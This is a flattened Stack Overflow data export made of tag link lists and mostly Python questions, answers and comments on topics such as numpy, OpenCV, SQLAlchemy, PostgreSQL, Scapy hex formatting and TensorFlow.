tags question: http://stackoverflow.com/q/49495335
tags question: http://stackoverflow.com/q/49588535
tags question: http://stackoverflow.com/q/49505582
tags question: http://stackoverflow.com/q/49534873
tags question: http://stackoverflow.com/q/49484637
tags question: http://stackoverflow.com/q/49562065
tags question: http://stackoverflow.com/q/49577879
tags question: http://stackoverflow.com/q/49558310
tags question: http://stackoverflow.com/q/49574647
tags question: http://stackoverflow.com/q/49592304
tags question: http://stackoverflow.com/q/49453053
tags question: http://stackoverflow.com/q/49477139
tags question: http://stackoverflow.com/q/49598456
tag name: tkinter
tags question: http://stackoverflow.com/q/49504873
tags question: http://stackoverflow.com/q/49443179
tags question: http://stackoverflow.com/q/49593964
tags question: http://stackoverflow.com/q/49490676
tags question: http://stackoverflow.com/q/49466662
tags question: http://stackoverflow.com/q/49518479
tags question: http://stackoverflow.com/q/49598916
tags question: http://stackoverflow.com/q/49447885
tags question: http://stackoverflow.com/q/49594431
tags question: http://stackoverflow.com/q/49441639
tags question: http://stackoverflow.com/q/49557448
tags question: http://stackoverflow.com/q/49500884
tags question: http://stackoverflow.com/q/49499032
tags question: http://stackoverflow.com/q/49459358
tags question: http://stackoverflow.com/q/49540386
tags question: http://stackoverflow.com/q/49574381
tags question: http://stackoverflow.com/q/49594812
tags question: http://stackoverflow.com/q/49525279
tags question: http://stackoverflow.com/q/49484105
tags question: http://stackoverflow.com/q/49466594
tags question: http://stackoverflow.com/q/49461694
tags question: http://stackoverflow.com/q/49496295
tags question: http://stackoverflow.com/q/49560313
tags question: http://stackoverflow.com/q/49590501
tags question: http://stackoverflow.com/q/49497117
tags question: http://stackoverflow.com/q/49440282
tags question: http://stackoverflow.com/q/49453605
tags question: http://stackoverflow.com/q/49586253
tags question: http://stackoverflow.com/q/49546592
tags question: http://stackoverflow.com/q/49578317
tags question: http://stackoverflow.com/q/49570960
tags question: http://stackoverflow.com/q/49582885
tags question: http://stackoverflow.com/q/49496930
tags question: http://stackoverflow.com/q/49446654
tags question: http://stackoverflow.com/q/49550862
tags question: http://stackoverflow.com/q/49545259
tags question: http://stackoverflow.com/q/49556497
tags question: http://stackoverflow.com/q/49546886
tags question: http://stackoverflow.com/q/49498538
tags question: http://stackoverflow.com/q/49481752
tags question: http://stackoverflow.com/q/49582843
tags question: http://stackoverflow.com/q/49483344
tags question: http://stackoverflow.com/q/49571993
tags question: http://stackoverflow.com/q/49459749
tags question: http://stackoverflow.com/q/49575348
tags question: http://stackoverflow.com/q/49493816
tags question: http://stackoverflow.com/q/49573516
tags question: http://stackoverflow.com/q/49446195
tags question: http://stackoverflow.com/q/49534999
tags question: http://stackoverflow.com/q/49498820
tags question: http://stackoverflow.com/q/49468065
tags question: http://stackoverflow.com/q/49589548
tags question: http://stackoverflow.com/q/49458836

http://stackoverflow.com/comment/86153391
type: QuestionComment
has text: This is as easy as creating a circle and creating a text. Both actions are well documented and there are enough questions about that. Alternatively one may also create a single annotation with a circular box around it. That is also shown in many places. So what exact problem do you face here?
type: Comment
comment on: http://stackoverflow.com/q/49572934
score: 0

http://stackoverflow.com/comment/86085696
type: QuestionComment
comment on: http://stackoverflow.com/q/49538189
score: 1
has text: You can use ideas from [here](https://math.stackexchange.com/questions/1299901/finding-a-matrix-representation-of-the-transpose-transformation) - that shouldn't be considered "cheating".
type: Comment

http://stackoverflow.com/comment/86153552
type: QuestionComment
comment on: http://stackoverflow.com/q/49572647
has text: The input is indirectly given, those are the predictions y_pred made by the network before (I needed to first make prediction on the network initially before training it). Then I get y_true and I want keras to minimize the loss between y_pred and y_true and not use the X_train implicitely.
type: Comment
score: 0

http://stackoverflow.com/comment/86071540
comment on: http://stackoverflow.com/q/49481445
has text: How would I do that ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86068525
comment on: http://stackoverflow.com/q/49530636
type: Comment
type: QuestionComment
has text: @MaxU, I have edited my question. Thanks for pointing out, can you please suggest me.
score: 0

http://stackoverflow.com/q/49584044
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49584146
type: UnansweredQuestion
tagged with: python
score: -2
tagged with: data-structures
tagged with: dictionary
has answer: http://stackoverflow.com/a/49585444
has body: I have this file structure: server_id = 1 message = "hello bob, how are you?" a = [ { "server_id": 1, "contents: [ { "word": "hello", "reaction: "greetings" } ] } ] how would I correctly navigate this structure to get the reaction of "greetings" if the word "hello" was used inside a message from server 1?
has comment: http://stackoverflow.com/comment/86176841
tagged with: list
has comment: http://stackoverflow.com/comment/86176444
linked to: http://stackoverflow.com/q/38865201
upvote count: 0
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/86176269
has title: how to retrive item from inside a list of dicts

http://stackoverflow.com/a/55859086
type: Answer
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/49458594
has body: The question was asked one year ago but somebody may find this question via Google. You can get the images and other html inside the article text with "a.article_html". from newspaper import Article a = Article('https://www.nytimes.com/2019/04/25/us/politics/joe-biden-anita-hill.html', keep_article_html=True, language='en') a.download() a.parse() print(a.html) # This article's unchanged and raw HTML print(a.article_html) # The HTML of this article's main node Remember the parameter "keep_article_html=True"

http://stackoverflow.com/a/49497149
answers question: http://stackoverflow.com/q/49494313
score: 1
downvote count: 0
has body: You can use the findContours function in cv2 ( cv2.findContours ). It can be a bit tricky if you're not used to pyopencv, but the code extract below uses the image from your question (with python2.7). import cv2 im = cv2.imread('/home/kola/temp/serpentine.png')# change path as necessary im2 = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY); contours = cv2.findContours(im2,cv2.RETR_TREE,cv2.CHAIN_APPROX_NONE) contour = contours[0][0] # use this section if you want to animate the ploting of the contour # WARNING - can be slow!!! import matplotlib.pyplot as plt plt.ion() plt.gca().set_xlim(0,im2.shape[1]) plt.gca().set_ylim(im2.shape[0],0) plt.gca().set_aspect('equal') plt.ion() for c in contour: plt.plot(c[0][0],c[0][1],'*') plt.pause(0.001)
upvote count: 1
type: Answer

http://stackoverflow.com/comment/86177355
type: QuestionComment
has text: What are you trying to do with the data once you've fetched it?
comment on: http://stackoverflow.com/q/49579167
type: Comment
score: 0

http://stackoverflow.com/q/49582187
score: 0
has answer: http://stackoverflow.com/a/49582251
type: UnansweredQuestion
tagged with: scapy
type: Question
has title: Python scapy raw to hex
has body: I'm using Scapy to get raw bytes from packets and I'm trying to parse the hex, however the raw bytes give me this type of output: b"\x17\x03\x03\x00\xa3\x00\x00\x00\x00\x00\x00\x00\xd6tK\xf8\xc1itQ\xa0; Some of the string prints as ascii making it difficult to parse, is there a function to get just hex numbers in Scapy or convert this to hex and not print in ascii? also, chexdump() for some reason only prints
tagged with: python
has answer: http://stackoverflow.com/a/49582239
tagged with: hex
answer count: 2

http://stackoverflow.com/comment/85910100
comment on: http://stackoverflow.com/a/49453036
has text: Thats right but what if I have to make use of a for statement for eg: for i in range(0,len(name)): #Add pairs to the dictionary from the lists for Loop through sorted dictionary: #Print item and value
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/86138426
type: QuestionComment
comment on: http://stackoverflow.com/q/49562654
has text: @ziggy That's not what we was saying. He was saying that to identify what tags you need to extract in the python code, use a tool to help you see what those tags are.
score: 1
type: Comment

http://stackoverflow.com/comment/86529187
type: QuestionComment
comment on: http://stackoverflow.com/q/49521811
score: 0
type: Comment
has text: It's a server that uses the Slurm workload manager.

http://stackoverflow.com/q/49534628
tagged with: numpy
has comment: http://stackoverflow.com/comment/86109634
has body: I made a random walk generator with python and numpy. Given an adjency matrix, I want to sample random paths from each node. To do so, I currently made this class, which takes as input the neighbors_nodes of each node of the graph with their corresponding probabilities: import numpy as np class RandomChoice(object): def __init__(self, neighbors_choices, neighbors_prob, depth=50): C = len(neighbors_choices) self.depth = depth self.neighbors_choices = neighbors_choices self.neighbors_prob = neighbors_prob self.index = np.zeros(C, np.uint32) self.choices = list() for i in range(C): self.choices.append(np.random.choice(self.neighbors_choices[i], size=self.depth, p=self.neighbors_prob[i])) def __getitem__(self, arg): if self.index[arg] == self.depth: self.choices[arg] = np.random.choice(self.neighbors_choices[arg], size=self.depth, p=self.neighbors_prob[arg]) self.index[arg] = 0 val = self.choices[arg][self.index[arg]] self.index[arg] += 1 return val And I use it like this: # Example with a 3x3 matrix # 1 2 1 # 3 0 1 # 0 1 0 number_of_walks_per_node = 5 number_of_nodes = 3 length_of_walks = 10 choices = [ [0, 1, 2], [0, 2], [1] ] probs = [ [0.25, 0.5, 0.25], [0.75, 0.25], [1] ] randomChoice = RandomChoice(choices, probs, depth=50) for i in range(number_of_walks_per_node): for starting_node in range(number_of_nodes): walker_positions = [starting_node] for j in range(length_of_walks): walker_positions.append( randomChoice[walker_positions[j]]) print(walker_positions) The idea here is to take profit of the vector-efficiency of numpy.random.choices against some space in RAM. But this function is still the bottleneck of this code. I think numpy.random.choices spends time checking that the probabilities sum to 1 and that each one of them is greater than 0. Do you have any idea how I could speed up this code ?
accepted answer: http://stackoverflow.com/a/49535499
has answer: http://stackoverflow.com/a/49535499
has comment: http://stackoverflow.com/comment/86075877
answer count: 1
has comment: http://stackoverflow.com/comment/86076252
downvote count: 0
has comment: http://stackoverflow.com/comment/86076516
upvote count: 1
has comment: http://stackoverflow.com/comment/86076903
has title: How to speed up random choice generation with python?
favorite count: 0
type: Question
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/45399851
tagged with: performance
has comment: http://stackoverflow.com/comment/86076500
score: 1
has comment: http://stackoverflow.com/comment/86076259
tagged with: python
tagged with: random-walk

http://stackoverflow.com/a/49486634
answers question: http://stackoverflow.com/q/49474871
has comment: http://stackoverflow.com/comment/85999765
has body: You can create a cypher script to do it. For each article you have to create a random scoring function to find the best other cities. And the result should be something like that : MATCH (a:Article) WHERE size((a)-[:CITES]-&gt;(:Article)) = 0 WITH a LIMIT 100 MATCH (b:Article) WHERE b.date &lt; a.date WITH a, b, CASE WHEN a.categories = b.categories THEN rand() ELSE 0 END AS catScore, CASE WHEN a.authors = b.authors THEN rand() ELSE 0 END AS catAuthor WITH a, b, catScore + 2* catAuthor AS score ORDER BY score DESC LIMIT 1 CREATE (a)-[:CITES]-&gt;(b) RETURN count(*) You should execute this query many times, till its result is equal to 0. (There is procedure fot that in APOC if you want). This query will not work on your datamodel because the date is a string. I recommend you to store the timestamp, not the string date (there is also an APOC function to parse date), and to create an index on it. Moreover, I think you have Author and Category nodes in your datamodel, no ? So you should adapt the query.
score: 0
type: Answer

http://stackoverflow.com/comment/86042788
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49518172
has text: This is the best I could come up with: for entity in entities: # print entity try: label = "" label = entity.label() except Exception as ex: pass if (label=='GPE'): place = entity[0][0] sentencePlacesArr.append(place) I'm receiving output of 'Rome', but also ['Zeus', 'Jerusalem', 'Hanukkah'] in another sentence. I want ONLY cities and countries
score: 0

http://stackoverflow.com/a/49548164
upvote count: 2
downvote count: 0
has body: If cleaner code is what you are looking for, I think the functools.singledispatch decorator would work in this case: import functools class Plus: def __init__(self, first, second): self.first = first self.second = second class Negate: def __init__(self, first): self.first = first class IntConst: def __init__(self, value): self.value = value @functools.singledispatch def ev(ast): raise NotImplementedError('Unsupported type') @ev.register(Plus) def _(ast): return ev(ast.first) + ev(ast.second) @ev.register(Negate) def _(ast): return -ev(ast.first) @ev.register(IntConst) def _(ast): return ast.value print(ev(Plus(IntConst(50), Negate(IntConst(8)))))
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86229181
accepted answer of: http://stackoverflow.com/q/49547630
type: Answer
answers question: http://stackoverflow.com/q/49547630
has comment: http://stackoverflow.com/comment/86126933
score: 2

http://stackoverflow.com/q/49542839
score: 1
has comment: http://stackoverflow.com/comment/86108561
tagged with: connection
has title: COPY-FROM within python connection.execute: csv into postgres - no error but also no data
tagged with: sqlalchemy
possible better answer: http://stackoverflow.com/a/49546941
favorite count: 0
linked to: http://stackoverflow.com/q/31394998
has body: I am trying to load data from csv to my postgres database.I am using sqlalchemy (and connection / raw sql data method instead of ORM method). However, I created successfully my tables with the respective fields. When using the copy-from nothing happens: I don't get an error but my table is also empty. conn = eng.connect() trans = conn.begin() try: conn.execute("""CREATE TABLE IF NOT EXISTS table_name(var1 numeric, date date, time time, datetime timestamp primary key,....);""") trans.commit() except: trans.rollback() raise try: # File 1 bid conn.execute("""COPY table_name FROM '/home/user/csvfile.csv' WITH CSV HEADER DELIMITER as ','""") trans.commit() except: trans.rollback() raise there's no error message reported from the Jupyter notebook. What am I doing wrong? Furthermore, I do not really understand: file = "/home/user/csvfile.csv" conn.execute("""COPY table_name FROM file WITH CSV HEADER DELIMITER as ','""") produces an error in "file".
type: Question
answer count: 2
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/86131741
tagged with: postgresql
has answer: http://stackoverflow.com/a/49546941
accepted answer: http://stackoverflow.com/a/49549218
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/49549218
upvote count: 1

http://stackoverflow.com/comment/86160745
has text: It would be best if you had just updated your question with this information, instead of answering it. But yes, I believe the second image is the way to go because the first one wastes computation. Why attach a classifier to the decoder that's trying to reconstruct the input and not the input itself, in the first place? The code looks fine to me, but did it accomplished what you wanted?
type: Comment
comment on: http://stackoverflow.com/a/49569683
type: AnswerComment
score: 0

http://stackoverflow.com/comment/86171744
type: Comment
comment on: http://stackoverflow.com/a/49581464
has text: then I think you should be doing `x += g` and appending `x` to the array.
type: AnswerComment
score: 0

http://stackoverflow.com/q/49443107
has comment: http://stackoverflow.com/comment/85899056
has comment: http://stackoverflow.com/comment/85896458
type: Question
has body: I'm trying to render the image to pdf. I'm getting the image from database and from views trying to send it to pdf through templates. Its coming up to the templates but not rendering to pdf
has title: rendering the image to pdf from views in django pisa
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/85899062
score: 0
tagged with: django-views
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/86010794
type: QuestionComment
has text: 1 image, 3 images, 5 images all work. The same kind of large loss variance happen too. Probably it is a problem of optimizer and hyperparameters. I'll try different optimizer and hyperparameters when loss stops decreasing. Thanks, I'll notice you if anything new happen.
comment on: http://stackoverflow.com/q/49483394
score: 0
type: Comment

selenium-webdriver
tags question: http://stackoverflow.com/q/49492849
tags question: http://stackoverflow.com/q/49575390
tags question: http://stackoverflow.com/q/49475182
tags question: http://stackoverflow.com/q/49530566
tags question: http://stackoverflow.com/q/49492762
tags question: http://stackoverflow.com/q/49584721
tags question: http://stackoverflow.com/q/49559560
tags question: http://stackoverflow.com/q/49511444
tags question: http://stackoverflow.com/q/49521247
tags question: http://stackoverflow.com/q/49542909
tags question: http://stackoverflow.com/q/49581078
tags question: http://stackoverflow.com/q/49574189
tags question: http://stackoverflow.com/q/49477216
tags question: http://stackoverflow.com/q/49466331
tags question: http://stackoverflow.com/q/49440632
tags question: http://stackoverflow.com/q/49489850
tags question: http://stackoverflow.com/q/49592272
tags question: http://stackoverflow.com/q/49540459
type: Tag
tags question: http://stackoverflow.com/q/49519594
tags question: http://stackoverflow.com/q/49517810
tags question: http://stackoverflow.com/q/49589876
tags question: http://stackoverflow.com/q/49467975
tags question: http://stackoverflow.com/q/49564016
tags question: http://stackoverflow.com/q/49545532
tags question: http://stackoverflow.com/q/49543630
tags question: http://stackoverflow.com/q/49503046
tags question: http://stackoverflow.com/q/49457597
tags question: http://stackoverflow.com/q/49490678
tags question: http://stackoverflow.com/q/49443241
tags question: http://stackoverflow.com/q/49565042
tags question: http://stackoverflow.com/q/49594492
tags question: http://stackoverflow.com/q/49516199
tags question: http://stackoverflow.com/q/49487121
tag name: selenium-webdriver
tags question: http://stackoverflow.com/q/49553423
tags question: http://stackoverflow.com/q/49539928
tags question: http://stackoverflow.com/q/49582353
tags question: http://stackoverflow.com/q/49583890

http://stackoverflow.com/a/49668970
has comment: http://stackoverflow.com/comment/86410464
downvote count: 0
answers question: http://stackoverflow.com/q/49581907
score: 13
has comment: http://stackoverflow.com/comment/86471542
has body: Mixing metaclasses is not easy and you should avoid it. SQLAlchemy offers a way to handle abstract base classes or augmenting the base, and on the other hand what you're trying to do looks a lot like a mixin. You can instruct SQLAlchemy to skip creating a table and a mapper for a class using __abstract__: Base = declarative_base() class BaseAbstract(Base): """description of class""" __abstract__ = True class Mytable(BaseAbstract): ... You could also augment the Base class: class BaseAbstract: """description of class""" Base = declarative_base(cls=BaseAbstract) class Mytable(Base): ... But in my opinion the easiest solution is to forego using an "abstract base" altogether and think of it as a mixin, as you had done already in a way: class CommonMixin: """description of class""" Base = declarative_base() class Mytable(CommonMixin, Base): ... But if you insist on using an actual abc.ABC abstract base class, register your model classes as virtual subclasses: class BaseAbstract(ABC): """description of class""" Base = declarative_base() @BaseAbstract.register class Mytable(Base): ... The downside is that @abc.abstractmethod decorated methods are not checked upon instantiating virtual subclasses. If the above do not fulfill your needs and you want to use ABC for checking that required methods are implemented, you could try and do as the exception instructed and create a new metaclass that is the combination of DeclarativeMeta and ABCMeta: In [6]: class DeclarativeABCMeta(DeclarativeMeta, abc.ABCMeta): ...: pass ...: In [7]: Base = declarative_base(metaclass=DeclarativeABCMeta) In [8]: class BaseAbstract(abc.ABC): ...: @abc.abstractmethod ...: def foo(self): ...: pass ...: In [13]: class MyTable(Base, BaseAbstract): ...: __tablename__ = 'mytable' ...: id = Column(Integer, primary_key=True) ...: In [14]: MyTable() --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-14-1686a36a17c6&gt; in &l…
accepted answer of: http://stackoverflow.com/q/49581907
has comment: http://stackoverflow.com/comment/86542759
type: Answer
upvote count: 13
has comment: http://stackoverflow.com/comment/86471135
has comment: http://stackoverflow.com/comment/86408657
type: AcceptedAnswer

http://stackoverflow.com/a/49544877
accepted answer of: http://stackoverflow.com/q/49543407
has comment: http://stackoverflow.com/comment/86122773
answers question: http://stackoverflow.com/q/49543407
type: Answer
has body: Try this: import numpy as np import cv2, time import matplotlib.pyplot as plt haar_face_cascade = cv2.CascadeClassifier('C:/Python/opencv/opencv-master/opencv-master/data/haarcascades/haarcascade_frontalface_alt.xml') video = cv2.VideoCapture(0) a = 0 while True: a = a + 1 check, frame = video.read() print(check) print(frame) gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) faces = f_cascade.detectMultiScale(gray, scaleFactor=scaleFactor, minNeighbors=5); for (x, y, w, h) in faces: cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 0, 255), 2) cv2.imshow("Face Detector", frame) cv2.waitKey(1) key = cv2.waitKey(1) if key == ord('q'): break print(a) video.release()
has comment: http://stackoverflow.com/comment/86122550
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/85917544
score: 0
type: Comment
type: QuestionComment
has text: You could create a hunspell dictionary.
comment on: http://stackoverflow.com/q/49440520

http://stackoverflow.com/q/49585283
tagged with: python
tagged with: swift
has comment: http://stackoverflow.com/comment/86179030
has body: I'm writing a code of matrix multiplication in swift and python but both code generate a different output. I also write this code in C++ but it generate same output as in python, I checked swift code again and again but I got no difference I'm trying to multiply these two matrix Matrix A 1 0 1 0 0 0 1 0 1 Matrix B 0 0 0 0 0 0 0 0 0 0 0 1 2 3 4 5 6 7 8 0 0 2 3 4 5 6 7 8 9 0 0 3 4 5 6 7 8 9 5 0 0 4 5 6 7 8 9 3 4 0 0 4 5 6 7 8 9 2 3 0 0 5 6 7 8 9 0 4 6 0 0 6 7 8 9 1 2 3 8 0 0 7 8 9 1 2 3 0 5 0 0 8 9 2 4 5 6 4 8 0 0 0 0 0 0 0 0 0 0 0 Here's my Python Code row,col = 8,9 result = [[0 for x in range(row)] for y in range(col)] row,col=0,0 for matrixB_Row in range(0,9): for matrixB_Col in range(0,8): for matrixA_Row in range(0,3): for i in range(0,3): for matrixA_Col in range(0,3): result[row][col] = result[row][col]+(matrixA[matrixA_Row][matrixA_Col]*matrixA[matrixB_Row][matrixB_Col]) matrixA_Col+=1 matrixB_Row+=1 i+=1 matrixB_Col+=1 matrixB_Row = matrixB_Row-3 matrixB_Col = matrixB_Col-3 matrixA_Row+=1 col+=1 matrixB_Col+=1 row+=1 col=0 matrixB_Row=+1 matrixB_Col=0 Here's my swift code var Row = 0, Col = 0, MatrixB_Col = 0, MatrixB_Row = 0, MatrixA_Col = 0, MatrixA_Row = 0, i = 0 var result = Int(repeating: [Int](repeating: 0, count: 8), count: 9) while MatrixB_Row &lt; 9 { MatrixB_Col = 0 while MatrixB_Col &lt; 8{ MatrixA_Row = 0 while MatrixA_Row &lt; 3 { i = 0 while i &lt; 3 { MatrixA_Col = 0 while MatrixA_Col &lt; 3{ result[Row][Col] += (matrixA[MatrixA_Row][MatrixA_Col] * matrixB[MatrixB_Row][MatrixB_Col]); MatrixA_Col+=1 MatrixB_Row+=1 } i+=1 MatrixB_Col+=1 MatrixB_Row = MatrixB_Row - 3 } MatrixA_Row+=1 MatrixB_Col = MatrixB_Col - 3 } MatrixB_Col+=1 Col+=1 } Row+=1 Col=0 MatrixB_Row+=1 MatrixB_Col = 0 }
score: 0
tagged with: matrix
has answer: http://stackoverflow.com/a/49590429
has answer: http://stackoverflow.com/a/49588599
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86178720
answer count: 2
type: UnansweredQuestion
tagged with: multiplication
has comment: http://stackoverflow.com/comment/86178926
has comment: http://stackoverflow.com/comment/86178907
has title: Different Output in matrix Multiplication Python vs Swift

http://stackoverflow.com/a/49528004
has comment: http://stackoverflow.com/comment/86061566
upvote count: 2
downvote count: 0
has body: print (a[True]) print 6 because the value of True is 1 and then a[1] is whereasas the value of false is 0 and a[0] is 5.
answers question: http://stackoverflow.com/q/49527946
type: Answer
score: 2

http://stackoverflow.com/q/49582654
has answer: http://stackoverflow.com/a/49582806
has comment: http://stackoverflow.com/comment/86173449
possible better answer: http://stackoverflow.com/a/49582708
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49582708
has comment: http://stackoverflow.com/comment/86173611
accepted answer: http://stackoverflow.com/a/49582724
tagged with: python
has body: This is my code: def string2bin(s): y = [] for x in s: q = [] q.append(str(bin(ord(x))[2:].zfill(8))) y.append(q) return y It is supposed to output: string2bin('abc') [[0, 1, 1, 0, 0, 0, 0, 1], [0, 1, 1, 0, 0, 0, 1, 0], [0, 1, 1, 0, 0, 0, 1, 1]] But instead outputs: string2bin('abc') [['01100001'], ['01100010'], ['01100011']] Also how do you segment a string? Thanks for any help!
has answer: http://stackoverflow.com/a/49582722
answer count: 4
has comment: http://stackoverflow.com/comment/86173437
type: AnsweredQuestion
score: 0
has title: Code outputs right information but the formatting is incorrect, How do you segment a string?
has answer: http://stackoverflow.com/a/49582724

http://stackoverflow.com/comment/86126994
type: Comment
comment on: http://stackoverflow.com/q/49559462
score: 0
type: QuestionComment
has text: input : [{(5,9): "item"}, {(0,4): "item"}] output : [{(0,4): "item"}, {(5,9): "item"}]

http://stackoverflow.com/comment/86088616
has text: maybe can try https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753194(v=ws.10) instead of some 3-party tool
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49540425

http://stackoverflow.com/comment/86200243
type: Comment
comment on: http://stackoverflow.com/q/49596256
type: QuestionComment
has text: I cannot reproduce the same error with your _jsonfile also_ with `[Restaurant].self`. I said you needed to add`[]`, not _delete []_.
score: 1

http://stackoverflow.com/q/49480949
linked to: http://stackoverflow.com/q/93551
tagged with: tornado
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/1361604
answer count: 1
downvote count: 0
has body: From How to encode the filename parameter of Content-Disposition header in HTTP? I learnt that the encoding defined in RFC 5987 is used to encode filenames in Content-disposition headers. And from https://stackoverflow.com/a/1361646/739619 I learnt that support in major browsers is good at least since November 2012. Both questions are rather old, yet I couldn't find a standard way to encode filenames according to this encoding in python / tornado. I have a self.set_header('Content-Disposition', 'attachment;filename="{}.{}"'.format(basename, format)) in my code that fails when basename contains characters outside latin1, and I am loking for a standard way to encode it.
has title: Encode filename according to rfc 5987 in python / tornado
favorite count: 0
accepted answer: http://stackoverflow.com/a/49481671
type: Question
has answer: http://stackoverflow.com/a/49481671
tagged with: python
score: 6
upvote count: 6

http://stackoverflow.com/comment/122724932
comment on: http://stackoverflow.com/q/49478290
score: 0
has text: Did you try again after upgrading your numpy to 1.19 .5 ?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86084061
type: QuestionComment
has text: I don't understand - if you won't change `random_state` - it'll give you stable result isn't it?
comment on: http://stackoverflow.com/q/49538377
score: 2
type: Comment

http://stackoverflow.com/comment/86267572
has text: In the DataLoader example you linked, the `__getitem__` method actually returns a dict too: `sample = {'image': image, 'landmarks': landmarks}`. When the DataLoader is enumerated you can explicitly unpack the dictionary (I actually mistyped that in my initial post). Thanks!
type: Comment
score: 0
comment on: http://stackoverflow.com/a/49621430
type: AnswerComment

http://stackoverflow.com/q/49564126
has body: I am working on my school project about machine learning with python. I have created a linear classifier with tensorflow and have learned the MNIST dataset with over 90% accuracy. Predicting the dataset testing data works fine, but the problem is when I want to import data that are not from the testing dataset (maybe just an image created in paint). I have created a simple GUI for my presentation and it worked fine with it too, but just not with for example .png image. I have tried something with Pillow, but looks like it doesn't work well. Can you please help me ? I will accept any advice. Thanks a lot. Here is the tensorflow code: import numpy as np import matplotlib.pyplot as plt import tensorflow as tf from PIL import Image learn = tf.contrib.learn tf.logging.set_verbosity(tf.logging.ERROR) global i, test_labels i = 0 def display(i): img = test_data[i] plt.title('Example %d, label %d' % (i, test_labels[i])) plt.imshow(img.reshape((28, 28)), cmap=plt.cm.gray_r) plt.show() global mnist mnist = learn.datasets.load_dataset("mnist") test_data = mnist.test.images test_labels = np.array(mnist.test.labels, dtype=np.int32) def train_me(max_examples, batch, step): data = mnist.train.images labels = np.array(mnist.train.labels, dtype=np.int32) data = data[:max_examples] labels = labels[:max_examples] feature_columns = learn.infer_real_valued_columns_from_input(data) cls = learn.LinearClassifier(feature_columns=feature_columns, n_classes=10) cls.fit(data, labels, batch_size=batch, steps=step) return cls def test_me(cls): im = Image.open("dva-test.png") global prediction prediction = cls.predict(im, as_iterable=False) Here is the GUI code: import sys import digits as dig from PyQt5.QtWidgets import (QApplication, QWidget, QToolTip, QPushButton, QMessageBox, QDesktopWidget, QMainWindow, QLabel, QAction, QFileDialog) from PyQt5.QtGui import QIcon class Gui(QMainWindow): def __init__(self): super().__init__() self.init_ui() def init_ui(self): self.setFixedSize(500, 200) self.ce…
score: -1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49574331
has answer: http://stackoverflow.com/a/49574331
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/86138673
tagged with: pyqt5
tagged with: machine-learning
has comment: http://stackoverflow.com/comment/86148391
downvote count: 1
tagged with: tensorflow
favorite count: 0
type: Question
tagged with: python
has title: Python, Tensorflow import non dataset images

http://stackoverflow.com/q/49460633
has comment: http://stackoverflow.com/comment/86336549
answer count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/98618624
score: 1
tagged with: unicode
favorite count: 0
type: Question
has title: Pythonnet output encoding
tagged with: locale
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85971543
tagged with: .net
downvote count: 0
has comment: http://stackoverflow.com/comment/86336606
tagged with: python
has comment: http://stackoverflow.com/comment/86336623
has comment: http://stackoverflow.com/comment/85970535
tagged with: python.net
has comment: http://stackoverflow.com/comment/86336658
has body: I want to call Python with C# and My solution is to use Pythonnet lib ( https://github.com/pythonnet/pythonnet ). But I got a problem when testing it with their sample code. My output string becomes garbled. Here is my code and my output string. Does anyone know what the problem is? Thank you in advance. Here is my output result. And my environment is Windows 10 Traditional Chinese version, Visual Studio Community 2017, Python 36.

http://stackoverflow.com/a/49508490
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49455654
has body: If you use Choregraphe you can do this: Place the lib folder in your Choregraphe project folder. Create a python script in Choregraphe and paste this in init: class MyClass(GeneratedClass): def __init__(self): GeneratedClass.__init__(self) self.logger.warning("import only works on physical robot") behaviorPath = ALFrameManager.getBehaviorPath(self.behaviorId) sys.path.append(behaviorPath) k = behaviorPath.rfind("/") packagePath = behaviorPath[:k] sys.path.append(packagePath) import utils self.utils = utils

http://stackoverflow.com/q/49522901
has body: Is there a quicker way to workon virtual environments in virtualenvwrapper (Python) without typing out the entire name each time? For example, switching by unique id number?
has comment: http://stackoverflow.com/comment/86051874
answer count: 0
has comment: http://stackoverflow.com/comment/86051815
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86051720
has comment: http://stackoverflow.com/comment/86051969
tagged with: python
has comment: http://stackoverflow.com/comment/86052036
has comment: http://stackoverflow.com/comment/86051762
score: 0
tagged with: virtual-environment
has title: How to quickly switch virtual environments with virtualenvwrapper?
has comment: http://stackoverflow.com/comment/86051825
has comment: http://stackoverflow.com/comment/86447472
tagged with: virtualenvwrapper
has comment: http://stackoverflow.com/comment/86051983
type: Question

http://stackoverflow.com/comment/85896824
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49447392
has text: @jezrael no this is not what I need :) maybe I misunderstood your example. let me edit

http://stackoverflow.com/comment/86145024
type: Comment
type: QuestionComment
has text: It's very weird that we suddenly get three (maybe more) near-identical questions in under a week, when I only ever remember seeing one of them before (and can't find it in a search). Is someone teaching a new course full of experienced programmers but who are new to numpy or something?
score: 0
comment on: http://stackoverflow.com/q/49567830

http://stackoverflow.com/comment/86185016
has text: By the by, the `shell=True` is superfluous here. You neither need nor want a shell in order to run a single command.
type: QuestionComment
comment on: http://stackoverflow.com/q/49588368
score: 0
type: Comment

http://stackoverflow.com/a/49475040
